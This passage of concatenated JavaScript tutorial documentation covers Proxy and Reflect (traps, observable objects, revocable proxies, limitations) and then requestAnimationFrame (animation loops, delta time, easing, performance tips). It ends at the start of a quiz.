alongside Proxy in ES2015 specifically to provide a clean, function-based API for object operations that previously required operators or `Object.*` methods. | Operation | Without Reflect | With Reflect | |-----------|-----------------|--------------| | Read property | `target[prop]` | `Reflect.get(target, prop, receiver)` | | Write property | `target[prop] = value` | `Reflect.set(target, prop, value, receiver)` | | Delete property | `delete target[prop]` | `Reflect.deleteProperty(target, prop)` | | Check property | `prop in target` | `Reflect.has(target, prop)` | ### Why Use Reflect? 1. **Proper return values**: `Reflect.set` returns `true`/`false` instead of the assigned value 2. **Forwards the receiver**: Essential for getters/setters in inheritance 3. **Cleaner syntax**: Consistent function-based API ```javascript const handler = { get(target, prop, receiver) { console.log(`Reading ${prop}`) return Reflect.get(target, prop, receiver) // Proper forwarding }, set(target, prop, value, receiver) { console.log(`Writing ${prop}`) return Reflect.set(target, prop, value, receiver) // Returns boolean } } ``` ### The Receiver Matters The `receiver` parameter is crucial when the target has getters: ```javascript const user = { _name: 'Alice', get name() { return this._name } } const proxy = new Proxy(user, { get(target, prop, receiver) { // ❌ WRONG - 'this' will be target, not proxy // return target[prop] // ✓ CORRECT - 'this' will be receiver (the proxy) return Reflect.get(target, prop, receiver) } }) ``` --- ## Practical Patterns ### Observable Objects (Reactive Data) Create objects that notify you when they change. This is how frameworks like Vue.js implement reactivity. According to the Vue.js documentation, Vue 3 replaced `Object.defineProperty()` (used in Vue 2) with `Proxy` for its reactivity system, enabling detection of property additions and deletions that were previously impossible: ```javascript function observable(target, onChange) { return new Proxy(target, { set(target, prop, value, receiver) { const oldValue = target[prop] const result = Reflect.set(target, prop, value, receiver) if (result && oldValue !== value) { onChange(prop, oldValue, value) } return result } }) } const state = observable({ count: 0 }, (prop, oldVal, newVal) => { console.log(`${prop} changed from ${oldVal} to ${newVal}`) }) state.count = 1 // Logs: "count changed from 0 to 1" state.count = 2 // Logs: "count changed from 1 to 2" ``` ### Access Control Hide private properties (those starting with `_`): ```javascript const privateHandler = { get(target, prop) { if (prop.startsWith('_')) { throw new Error(`Access denied: ${prop} is private`) } return Reflect.get(...arguments) }, set(target, prop, value) { if (prop.startsWith('_')) { throw new Error(`Access denied: ${prop} is private`) } return Reflect.set(...arguments) }, ownKeys(target) { return Object.keys(target).filter(key => !key.startsWith('_')) } } const user = new Proxy({ name: 'Alice', _password: 'secret' }, privateHandler) console.log(user.name) // "Alice" console.log(Object.keys(user)) // ["name"] - _password hidden console.log(user._password) // Error: Access denied ``` ### Logging/Debugging Log all operations on an object: ```javascript function createLogged(target, name = 'Object') { return new Proxy(target, { get(target, prop, receiver) { console.log(`[${name}] GET ${String(prop)}`) return Reflect.get(target, prop, receiver) }, set(target, prop, value, receiver) { console.log(`[${name}] SET ${String(prop)} = ${value}`) return Reflect.set(target, prop, value, receiver) } }) } const user = createLogged({ name: 'Alice' }, 'User') user.name // [User] GET name user.age = 30 // [User] SET age = 30 ``` --- ## Revocable Proxies Sometimes you need to grant temporary access to an object. `Proxy.revocable()` creates a proxy that can be disabled: ```javascript const target = { secret: 'classified info' } const { proxy, revoke } = Proxy.revocable(target, {}) console.log(proxy.secret) // "classified info" revoke() // Disable the proxy console.log(proxy.secret) // TypeError: Cannot perform 'get' on a proxy that has been revoked ``` This is useful for: - Temporary access tokens - Sandbox environments - Revoking permissions after a timeout --- ## Limitations and Gotchas ### Built-in Objects with Internal Slots Some built-in objects like `Map`, `Set`, `Date`, and `Promise` use internal slots that Proxy can't intercept: ```javascript const map = new Map() const proxy = new Proxy(map, {}) proxy.set('key', 'value') // TypeError: Method Map.prototype.set called on incompatible receiver ``` **Workaround:** Bind methods to the target: ```javascript const map = new Map() const proxy = new Proxy(map, { get(target, prop, receiver) { const value = Reflect.get(target, prop, receiver) return typeof value === 'function' ? value.bind(target) : value } }) proxy.set('key', 'value') // Works! console.log(proxy.get('key')) // "value" ``` ### Private Class Fields Private fields (`#field`) also use internal slots and don't work through proxies: ```javascript class Secret { #hidden = 'secret' reveal() { return this.#hidden } } const secret = new Secret() const proxy = new Proxy(secret, {}) proxy.reveal() // TypeError: Cannot read private member ``` ### Proxy Identity A proxy is a different object from its target: ```javascript const target = {} const proxy = new Proxy(target, {}) console.log(proxy === target) // false const set = new Set([target]) console.log(set.has(proxy)) // false - they're different objects ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Proxy wraps objects** to intercept operations like property access, assignment, deletion, and function calls. 2. **Handlers define traps** that are methods named after the operations they intercept (get, set, has, deleteProperty, etc.). 3. **There are 13 traps** covering all fundamental object operations, from property access to prototype manipulation. 4. **The `set` trap must return `true`** for successful writes, or you'll get a TypeError in strict mode. 5. **Reflect provides default behavior** with the same method names as Proxy traps, making forwarding clean and correct. 6. **Use `Reflect.get/set` with `receiver`** to properly handle getters/setters in inheritance chains. 7. **Revocable proxies** can be disabled with `revoke()`, useful for temporary access patterns. 8. **Built-in objects with internal slots** (Map, Set, Date) need the method-binding workaround. 9. **Private class fields don't work** through proxies due to internal slot access. 10. **Proxies enable powerful patterns** like validation, observable data, access control, and debugging. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What happens if a set trap returns false?"> **Answer:** In strict mode, returning `false` from a `set` trap causes a `TypeError`. In non-strict mode, the assignment silently fails. ```javascript 'use strict' const proxy = new Proxy({}, { set() { return false // Or return nothing (undefined) } }) proxy.x = 10 // TypeError: 'set' on proxy returned false ``` Always return `true` from `set` traps when the operation should succeed. </Accordion> <Accordion title="Why use Reflect.get instead of target[prop]?"> **Answer:** `Reflect.get(target, prop, receiver)` properly forwards the `receiver`, which is essential when the target has getters that use `this`: ```javascript const user = { firstName: 'Alice', lastName: 'Smith', get fullName() { return `${this.firstName} ${this.lastName}` } } const proxy = new Proxy(user, { get(target, prop, receiver) { // With target[prop], 'this' in the getter would be 'target' // With Reflect.get, 'this' in the getter is 'receiver' (the proxy) return Reflect.get(target, prop, receiver) } }) ``` This matters when you proxy an object that inherits from another proxy. </Accordion> <Accordion title="How can you make a proxy work with Map or Set?"> **Answer:** Built-in objects like Map and Set use internal slots that proxies can't access. The workaround is to bind methods to the original target: ```javascript const map = new Map() const proxy = new Proxy(map, { get(target, prop, receiver) { const value = Reflect.get(target, prop, receiver) // If it's a function, bind it to the target return typeof value === 'function' ? value.bind(target) : value } }) proxy.set('key', 'value') // Works now! ``` </Accordion> <Accordion title="What's the difference between Proxy and Object.defineProperty for validation?"> **Answer:** `Object.defineProperty` only validates a single, predefined property. Proxy intercepts all operations dynamically: ```javascript // defineProperty: Must define each property in advance const user = {} Object.defineProperty(user, 'age', { set(value) { if (value < 0) throw new Error('Invalid age') this._age = value } }) // Proxy: Works for any property, including new ones const user2 = new Proxy({}, { set(target, prop, value) { if (prop === 'age' && value < 0) { throw new Error('Invalid age') } return Reflect.set(...arguments) } }) ``` Proxy is more flexible for dynamic validation rules. </Accordion> <Accordion title="How do you create a proxy that can be disabled later?"> **Answer:** Use `Proxy.revocable()` instead of `new Proxy()`: ```javascript const { proxy, revoke } = Proxy.revocable({ data: 'sensitive' }, {}) console.log(proxy.data) // "sensitive" revoke() // Disable the proxy permanently console.log(proxy.data) // TypeError: proxy has been revoked ``` Once revoked, the proxy cannot be re-enabled. All operations on it throw TypeError. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a JavaScript Proxy?"> A Proxy is a wrapper around an object (the "target") that intercepts fundamental operations like property access, assignment, and deletion. You define custom behavior through "trap" methods in a handler object. According to the ECMAScript specification, Proxy traps correspond to 13 internal object methods, covering every way JavaScript interacts with objects. </Accordion> <Accordion title="Why use Reflect with Proxy instead of direct property access?"> `Reflect` methods properly forward the `receiver` parameter, which is essential when the target has getters that use `this`. Using `target[prop]` directly can cause `this` to reference the wrong object in inheritance chains. MDN recommends always using `Reflect.get()` and `Reflect.set()` inside Proxy traps for correct behavior. </Accordion> <Accordion title="Can JavaScript Proxy work with Map, Set, and Date?"> Not directly. Built-in objects like `Map`, `Set`, and `Date` use internal slots that Proxy cannot intercept. Calling `proxy.set('key', 'value')` on a proxied Map throws a `TypeError`. The workaround is to bind methods to the original target inside the `get` trap, ensuring they execute with the correct `this` context. </Accordion> <Accordion title="What is a revocable proxy?"> A revocable proxy is created with `Proxy.revocable()` instead of `new Proxy()`. It returns both a `proxy` and a `revoke` function. Calling `revoke()` permanently disables the proxy — any subsequent operation throws a `TypeError`. This pattern is useful for granting temporary access to objects or implementing sandbox environments. </Accordion> <Accordion title="How does Proxy differ from Object.defineProperty() for validation?"> `Object.defineProperty()` validates only predefined, individual properties. Proxy intercepts all operations dynamically, including properties that do not yet exist. Vue.js switched from `Object.defineProperty()` (Vue 2) to `Proxy` (Vue 3) precisely because Proxy can detect property additions and deletions that `defineProperty` cannot. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> Lower-level property control with writable, enumerable, and configurable flags. </Card> <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> Computed properties and validation on individual object properties. </Card> <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> Built-in methods for object inspection and manipulation. </Card> <Card title="Design Patterns" icon="sitemap" href="/concepts/design-patterns"> The Proxy pattern in the context of software design patterns. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Proxy — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy"> Complete reference for the Proxy object, including all 13 traps and their parameters. </Card> <Card title="Reflect — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect"> The Reflect namespace object and all its static methods. </Card> <Card title="Proxy Handler — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy"> Detailed documentation of all handler trap methods. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Proxy and Reflect — javascript.info" icon="newspaper" href="https://javascript.info/proxy"> The most comprehensive tutorial on Proxy and Reflect with exercises. Covers all traps with practical examples and common pitfalls. </Card> <Card title="ES6 Proxies in Depth — Ponyfoo" icon="newspaper" href="https://ponyfoo.com/articles/es6-proxies-in-depth"> Deep technical dive into Proxy internals and advanced patterns. Great for understanding the metaprogramming capabilities. </Card> <Card title="Understanding JavaScript Proxy — LogRocket" icon="newspaper" href="https://blog.logrocket.com/practical-use-cases-for-javascript-es6-proxies/"> Practical use cases including data validation, logging, and caching. Shows real-world applications in production code. </Card> <Card title="Metaprogramming with Proxies — 2ality" icon="newspaper" href="https://2ality.com/2014/12/es6-proxies.html"> Dr. Axel Rauschmayer's exploration of Proxy as a metaprogramming tool. Includes the theory behind invariants and traps. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Proxy in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=KJ3uYyUp-yo"> Quick, entertaining overview of Proxy fundamentals. Perfect if you want to grasp the concept in minutes. </Card> <Card title="JavaScript Proxy Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=3WYW3NLLnZ8"> Clear, beginner-friendly walkthrough of Proxy basics with practical examples. Great starting point for hands-on learning. </Card> <Card title="Proxies are Awesome — Brendan Eich" icon="video" href="https://www.youtube.com/watch?v=sClk6aB_CPk"> JSConf talk by JavaScript's creator on why Proxies were added to the language. Provides historical context and design rationale. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/requestanimationframe.mdx ================================================ --- title: "requestAnimationFrame Guide" sidebarTitle: "requestAnimationFrame: Smooth Animations" description: "Learn requestAnimationFrame in JavaScript for smooth 60fps animations. Understand how it syncs with browser repaint cycles, delta time, and animation loops." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Data Handling" "article:tag": "requestanimationframe, smooth animations, 60fps, animation loop, delta time, repaint" --- Why do some JavaScript animations feel buttery smooth while others are janky and choppy? Why does your animation freeze when you switch browser tabs? And how do game developers create animations that run at consistent speeds regardless of frame rate? The answer is **[`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame)** — the browser API designed specifically for smooth, efficient animations. ```javascript // Smooth animation that syncs with the browser's refresh rate function animate() { // Update animation state element.style.transform = `translateX(${position}px)`; position += 2; // Request next frame if (position < 500) { requestAnimationFrame(animate); } } requestAnimationFrame(animate); ``` Unlike [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/Window/setInterval), `requestAnimationFrame` synchronizes with your monitor's refresh rate, pauses when the tab is hidden, and lets the browser optimize rendering for maximum performance. [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame) notes that this automatic pausing also saves CPU and battery life on mobile devices. <Info> **What you'll learn in this guide:** - What requestAnimationFrame is and why it exists - How it syncs with the browser's repaint cycle - Creating smooth animation loops - Calculating delta time for consistent animation speed - Canceling animations with cancelAnimationFrame - When to use rAF vs CSS animations vs setInterval - Common animation patterns and performance tips </Info> <Warning> **Prerequisite:** This guide assumes familiarity with the [event loop](/concepts/event-loop) and basic JavaScript functions. If you're new to how JavaScript handles timing, read the event loop guide first. </Warning> --- ## What is requestAnimationFrame? **`requestAnimationFrame`** (often abbreviated as "rAF") is a browser API that tells the browser you want to perform an animation. According to the [WHATWG HTML specification](https://html.spec.whatwg.org/multipage/imagebitmap-and-animations.html#dom-animationframeprovider-requestanimationframe), it requests a callback to be executed just before the browser performs its next repaint, typically at 60 frames per second (60fps) on most displays. Here's the key insight: instead of guessing when to update your animation with arbitrary timing like `setInterval(fn, 16)`, `requestAnimationFrame` lets the *browser* tell *you* when it's the optimal time to draw the next frame. ```javascript // The browser calls this function when it's ready to paint function drawFrame(timestamp) { // timestamp = milliseconds since page load console.log(`Frame at ${timestamp}ms`); // Do your animation work here updatePosition(); // Request the next frame requestAnimationFrame(drawFrame); } // Start the animation loop requestAnimationFrame(drawFrame); ``` The `timestamp` parameter is a [`DOMHighResTimeStamp`](https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp) representing the time when the frame started rendering. You'll use this for calculating animation progress and delta time. --- ## The Film Projector Analogy Think of how movies work. A film projector shows you 24 still images (frames) per second, and your brain perceives smooth motion. If frames come at irregular intervals, the motion looks jerky. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE FILM PROJECTOR │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ Frame 1 │ │ Frame 2 │ │ Frame 3 │ │ Frame 4 │ ... │ │ │ ⚫ │ │ ⚫ │ │ ⚫ │ │ ⚫ │ │ │ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ 16.67ms 16.67ms 16.67ms 16.67ms │ │ │ │ ════════════════════════════════════════════════════ │ │ SMOOTH MOTION (60fps) │ │ ════════════════════════════════════════════════════ │ │ │ │ setInterval: rAF tells the PROJECTOR when to advance │ │ YOU guess when requestAnimationFrame: │ │ to show frames PROJECTOR tells YOU when it's ready │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` With `setInterval`, you're trying to guess when the projector will be ready. Sometimes you're early (frame waits), sometimes you're late (frame skipped). With `requestAnimationFrame`, the projector signals when it's ready for the next frame. --- ## Why Not Use setInterval? You might think `setInterval(fn, 1000/60)` would give you 60fps. Here's why it doesn't work well for animations: ### Problem 1: Timing Drift `setInterval` isn't precise. The browser might be busy, and your callback could run 20ms or 30ms apart instead of exactly 16.67ms. ```javascript // ❌ WRONG - setInterval for animations let position = 0; setInterval(() => { position += 2; element.style.left = position + 'px'; }, 1000 / 60); // Aims for ~16.67ms, often misses ``` ### Problem 2: Wasted CPU in Background Tabs `setInterval` keeps running even when the tab is hidden. Your animation keeps computing frames that nobody sees, draining battery and CPU. ### Problem 3: Not Synced with Browser Rendering The browser might repaint at different times than your interval fires. You could update the DOM twice between repaints (wasted work) or miss the repaint window entirely (dropped frame). ```javascript // ✓ CORRECT - requestAnimationFrame for animations let position = 0; function animate() { position += 2; element.style.left = position + 'px'; if (position < 500) { requestAnimationFrame(animate); } } requestAnimationFrame(animate); ``` ### Comparison Table | Feature | setInterval | requestAnimationFrame | |---------|-------------|----------------------| | Synced with display | No | Yes (matches refresh rate) | | Background tabs | Keeps running | Pauses automatically | | Battery efficiency | Poor | Good | | Frame timing | Can drift, miss frames | Browser-optimized | | Animation smoothness | Can be janky | Consistently smooth | --- ## Basic Animation Loop Here's the fundamental pattern for `requestAnimationFrame`: ```javascript // Basic animation loop pattern function animate() { // 1. Update animation state updateSomething(); // 2. Draw/render render(); // 3. Request next frame (if animation should continue) requestAnimationFrame(animate); } // Kick off the animation requestAnimationFrame(animate); ``` ### Practical Example: Moving a Box ```javascript const box = document.getElementById('box'); let position = 0; function animate() { // Update position position += 2; // Apply to DOM box.style.transform = `translateX(${position}px)`; // Continue until we reach 400px if (position < 400) { requestAnimationFrame(animate); } } // Start requestAnimationFrame(animate); ``` <Tip> **Use `transform` instead of `left` or `top`** for animations. Transform changes don't trigger layout recalculation, making them much faster. </Tip> --- ## The Timestamp Parameter Every `requestAnimationFrame` callback receives a high-resolution timestamp. This is crucial for frame-rate independent animations. ```javascript function animate(timestamp) { // timestamp = milliseconds since the page loaded console.log(`Current time: ${timestamp}ms`); requestAnimationFrame(animate); } requestAnimationFrame(animate); // Output (example): // Current time: 16.67ms // Current time: 33.34ms // Current time: 50.01ms // ... ``` The timestamp is the same as what you'd get from [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) at the start of the callback, but using the provided timestamp is more accurate for animation timing. --- ## Delta Time: Frame-Rate Independent Animation Here's a critical concept: **if you move an object 2 pixels per frame, it moves faster on a 144Hz monitor than a 60Hz monitor**. The 144Hz display renders more frames per second, so you get more 2-pixel jumps. The solution is **delta time** — the time elapsed since the last frame. Instead of moving by a fixed amount per frame, you move based on time elapsed. ```javascript const box = document.getElementById('box'); let position = 0; let lastTime = 0; const speed = 200; // pixels per SECOND (not per frame!) function animate(currentTime) { // Calculate time since last frame const deltaTime = (currentTime - lastTime) / 1000; // Convert to seconds lastTime = currentTime; // Move based on time, not frames // At 200px/sec, we move 200 * deltaTime pixels each frame position += speed * deltaTime; box.style.transform = `translateX(${position}px)`; if (position < 500) { requestAnimationFrame(animate); } } // First frame needs special handling requestAnimationFrame((timestamp) => { lastTime = timestamp; requestAnimationFrame(animate); }); ``` Now the box moves at 200 pixels per second regardless of whether the display runs at 30Hz, 60Hz, or 144Hz. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DELTA TIME VISUALIZATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WITHOUT DELTA TIME: │ │ ──────────────────── │ │ 60Hz Monitor: ▶────▶────▶────▶────▶ (60 jumps/sec) │ │ 144Hz Monitor: ▶─▶─▶─▶─▶─▶─▶─▶─▶─▶─ (144 jumps/sec) FASTER! │ │ │ │ WITH DELTA TIME: │ │ ──────────────── │ │ 60Hz Monitor: ▶────▶────▶────▶────▶ (200px/sec) │ │ 144Hz Monitor: ▶─▶─▶─▶─▶─▶─▶─▶─▶─▶─ (200px/sec) SAME SPEED! │ │ (smaller jumps, more frames, same total distance) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Canceling Animations `requestAnimationFrame` returns an ID that you can use with [`cancelAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/Window/cancelAnimationFrame) to stop the animation. ```javascript let animationId; let position = 0; function animate() { position += 2; element.style.transform = `translateX(${position}px)`; // Store the ID so we can cancel later animationId = requestAnimationFrame(animate); } // Start animation function startAnimation() { animationId = requestAnimationFrame(animate); } // Stop animation function stopAnimation() { cancelAnimationFrame(animationId); } // Usage document.getElementById('start').onclick = startAnimation; document.getElementById('stop').onclick = stopAnimation; ``` <Warning> **Always update the animation ID** inside your animate function. If you only save the initial ID, calling `cancelAnimationFrame` later won't cancel the most recent request. </Warning> ### Preventing Multiple Animations A common bug is starting multiple animation loops by clicking a button repeatedly: ```javascript // ❌ BUG: Clicking start multiple times creates multiple loops! let animationId; document.getElementById('start').onclick = () => { function animate() { // ...animation code... animationId = requestAnimationFrame(animate); } requestAnimationFrame(animate); }; // ✓ FIX: Cancel any existing animation before starting document.getElementById('start').onclick = () => { cancelAnimationFrame(animationId); // Cancel previous animation function animate() { // ...animation code... animationId = requestAnimationFrame(animate); } requestAnimationFrame(animate); }; ``` --- ## Animation Duration and Progress For animations that should last a specific duration, track progress as a value from 0 to 1: ```javascript const duration = 2000; // 2 seconds let startTime = null; function animate(timestamp) { if (!startTime) startTime = timestamp; // Calculate progress (0 to 1) const elapsed = timestamp - startTime; const progress = Math.min(elapsed / duration, 1); // Use progress to determine position // Linear: 0 → 0px, 0.5 → 200px, 1 → 400px const position = progress * 400; element.style.transform = `translateX(${position}px)`; // Continue until complete if (progress < 1) { requestAnimationFrame(animate); } } requestAnimationFrame(animate); ``` ### Adding Easing Functions Linear animations feel robotic. Easing functions make motion feel natural: ```javascript // Easing functions take progress (0-1) and return eased progress (0-1) const easing = { // Starts slow, ends fast easeIn: (t) => t * t, // Starts fast, ends slow easeOut: (t) => t * (2 - t), // Slow at both ends easeInOut: (t) => t < 0.5 ? 2 * t * t : -1 + (4 - 2 * t) * t, // Bouncy effect easeOutBounce: (t) => { if (t < 1 / 2.75) { return 7.5625 * t * t; } else if (t < 2 / 2.75) { return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75; } else if (t < 2.5 / 2.75) { return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375; } else { return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375; } } }; function animate(timestamp) { if (!startTime) startTime = timestamp; const elapsed = timestamp - startTime; const linearProgress = Math.min(elapsed / duration, 1); // Apply easing const easedProgress = easing.easeOut(linearProgress); const position = easedProgress * 400; element.style.transform = `translateX(${position}px)`; if (linearProgress < 1) { requestAnimationFrame(animate); } } ``` --- ## When requestAnimationFrame Runs Understanding where `requestAnimationFrame` fits in the [event loop](/concepts/event-loop) helps you write better animations: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ONE EVENT LOOP ITERATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 1. Process one task (setTimeout, events, etc.) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 2. Process ALL microtasks (Promises, queueMicrotask) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 3. If time to render (usually ~60x/sec): │ │ │ │ │ │ │ │ a. Run requestAnimationFrame callbacks ◄── HERE! │ │ │ │ b. Calculate styles │ │ │ │ c. Calculate layout │ │ │ │ d. Paint to screen │ │ │ │ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 4. requestIdleCallback (if idle time remains) │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Key insight: `requestAnimationFrame` callbacks run **right before the browser paints**. This means your DOM changes are applied just in time to be rendered, with no wasted work. --- ## rAF vs CSS Animations vs setInterval Each animation approach has its place: <Tabs> <Tab title="requestAnimationFrame"> **Best for:** - Complex animations with custom logic - Game loops - Physics simulations - Canvas/WebGL rendering - Animations depending on user input ```javascript function gameLoop(timestamp) { handleInput(); updatePhysics(); checkCollisions(); render(); requestAnimationFrame(gameLoop); } ``` **Pros:** Full control, frame-by-frame logic, works with canvas **Cons:** More code, you handle everything manually </Tab> <Tab title="CSS Animations"> **Best for:** - Simple state transitions - Hover effects - Loading spinners - Entrance/exit animations ```css .box { transition: transform 0.3s ease-out; } .box:hover { transform: scale(1.1); } @keyframes spin { from { transform: rotate(0deg); } to { transform: rotate(360deg); } } ``` **Pros:** Hardware-accelerated, declarative, less code **Cons:** Limited control, can't do complex frame-by-frame logic </Tab> <Tab title="Web Animations API"> **Best for:** - Controlling CSS-like animations from JavaScript - Coordinating multiple animations - When you need JS control but CSS-level performance ```javascript element.animate([ { transform: 'translateX(0)' }, { transform: 'translateX(400px)' } ], { duration: 1000, easing: 'ease-out', fill: 'forwards' }); ``` **Pros:** Best of both worlds, pause/reverse/scrub animations **Cons:** Less browser support for advanced features </Tab> </Tabs> --- ## Common Patterns ### Pattern 1: Reusable Animation Function ```javascript function animate({ duration, timing, draw }) { const start = performance.now(); requestAnimationFrame(function tick(time) { // Calculate progress (0 to 1) let progress = (time - start) / duration; if (progress > 1) progress = 1; // Apply easing const easedProgress = timing(progress); // Draw current state draw(easedProgress); // Continue if not complete if (progress < 1) { requestAnimationFrame(tick); } }); } // Usage animate({ duration: 1000, timing: t => t * (2 - t), // easeOut draw: progress => { element.style.transform = `translateX(${progress * 400}px)`; } }); ``` ### Pattern 2: Animation with Promise ```javascript function animateAsync({ duration, timing, draw }) { return new Promise(resolve => { const start = performance.now(); requestAnimationFrame(function tick(time) { let progress = (time - start) / duration; if (progress > 1) progress = 1; draw(timing(progress)); if (progress < 1) { requestAnimationFrame(tick); } else { resolve(); // Animation complete } }); }); } // Usage with async/await async function runAnimations() { await animateAsync({ /* first animation */ }); await animateAsync({ /* second animation - starts after first */ }); console.log('All animations complete!'); } ``` ### Pattern 3: Pausable Animation ```javascript class Animation { constructor({ duration, timing, draw }) { this.duration = duration; this.timing = timing; this.draw = draw; this.elapsed = 0; this.running = false; this.animationId = null; } start() { if (this.running) return; this.running = true; this.lastTime = performance.now(); this.tick(); } pause() { this.running = false; cancelAnimationFrame(this.animationId); } tick() { if (!this.running) return; const now = performance.now(); this.elapsed += now - this.lastTime; this.lastTime = now; let progress = this.elapsed / this.duration; if (progress > 1) progress = 1; this.draw(this.timing(progress)); if (progress < 1) { this.animationId = requestAnimationFrame(() => this.tick()); } else { this.running = false; } } } // Usage const anim = new Animation({ duration: 2000, timing: t => t, draw: p => element.style.opacity = p }); startBtn.onclick = () => anim.start(); pauseBtn.onclick = () => anim.pause(); ``` --- ## Performance Tips <AccordionGroup> <Accordion title="1. Animate transform and opacity only"> These properties don't trigger layout recalculation. Animating `left`, `top`, `width`, or `height` forces the browser to recalculate layout every frame. ```javascript // ❌ SLOW - triggers layout element.style.left = position + 'px'; element.style.width = size + 'px'; // ✓ FAST - composited element.style.transform = `translateX(${position}px)`; element.style.opacity = alpha; ``` </Accordion> <Accordion title="2. Use will-change for complex animations"> Hints to the browser that an element will be animated, allowing it to optimize ahead of time. ```css .animated-element { will-change: transform; } ``` Don't overuse it though — it consumes memory. </Accordion> <Accordion title="3. Debounce DOM reads and writes"> Reading layout properties (like `offsetWidth`) forces a synchronous layout. Batch your reads together, then batch your writes. ```javascript // ❌ BAD - read/write/read/write causes multiple layouts element1.style.width = element2.offsetWidth + 'px'; element3.style.width = element4.offsetWidth + 'px'; // ✓ GOOD - batch reads, then batch writes const width2 = element2.offsetWidth; const width4 = element4.offsetWidth; element1.style.width = width2 + 'px'; element3.style.width = width4 + 'px'; ``` </Accordion> <Accordion title="4. Keep work inside rAF minimal"> Heavy computation inside `requestAnimationFrame` causes frame drops. Move complex calculations outside or use Web Workers. ```javascript // ❌ BAD - heavy work blocks rendering function animate() { const result = expensiveCalculation(); // 50ms of work! render(result); requestAnimationFrame(animate); } // ✓ BETTER - compute in chunks or use worker function animate() { render(precomputedData[currentFrame]); currentFrame++; requestAnimationFrame(animate); } ``` </Accordion> </AccordionGroup> --- ## Common Mistakes ### Mistake 1: Forgetting to Request the Next Frame ```javascript // ❌ WRONG - only runs once! function animate() { element.style.left = position++ + 'px'; // Forgot to call requestAnimationFrame again! } requestAnimationFrame(animate); // ✓ CORRECT function animate() { element.style.left = position++ + 'px'; requestAnimationFrame(animate); // Request next frame } requestAnimationFrame(animate); ``` ### Mistake 2: Animation Speed Varies by Frame Rate ```javascript // ❌ WRONG - moves faster on high refresh rate displays function animate() { position += 5; // 5px per frame element.style.transform = `translateX(${position}px)`; requestAnimationFrame(animate); } // ✓ CORRECT - use delta time let lastTime = 0; const speed = 300; // pixels per second function animate(time) { const delta = (time - lastTime) / 1000; lastTime = time; position += speed * delta; // Time-based movement element.style.transform = `translateX(${position}px)`; requestAnimationFrame(animate); } ``` ### Mistake 3: Not Handling the First Frame ```javascript // ❌ WRONG - first frame has huge deltaTime (since page load!) let lastTime = 0; function animate(time) { const delta = time - lastTime; // First call: delta = entire page lifetime! lastTime = time; // Animation jumps on first frame } // ✓ CORRECT - initialize lastTime properly let lastTime = null; function animate(time) { if (lastTime === null) { lastTime = time; requestAnimationFrame(animate); return; } const delta = time - lastTime; lastTime = time; // First actual frame has reasonable delta } ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **`requestAnimationFrame` syncs with display refresh** — it fires right before the browser paints, typically 60 times per second 2. **Better than setInterval for animations** — smoother, pauses in background tabs, battery-efficient 3. **One-shot by design** — you must call `requestAnimationFrame` inside your callback to keep animating 4. **Use the timestamp parameter** — it's more reliable than `Date.now()` or `performance.now()` for animation timing 5. **Delta time prevents speed variation** — multiply movement by time elapsed, not a fixed amount per frame 6. **`cancelAnimationFrame(id)` stops animation** — store the ID and update it every frame 7. **Runs before paint, after microtasks** — part of the rendering phase in the event loop 8. **Animate transform and opacity** — these properties are GPU-accelerated and don't trigger layout 9. **CSS animations for simple cases** — use rAF for complex logic, canvas, or game loops 10. **Handle the first frame specially** — initialize `lastTime` to avoid a huge delta on the first call </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: Why is requestAnimationFrame better than setInterval for animations?"> 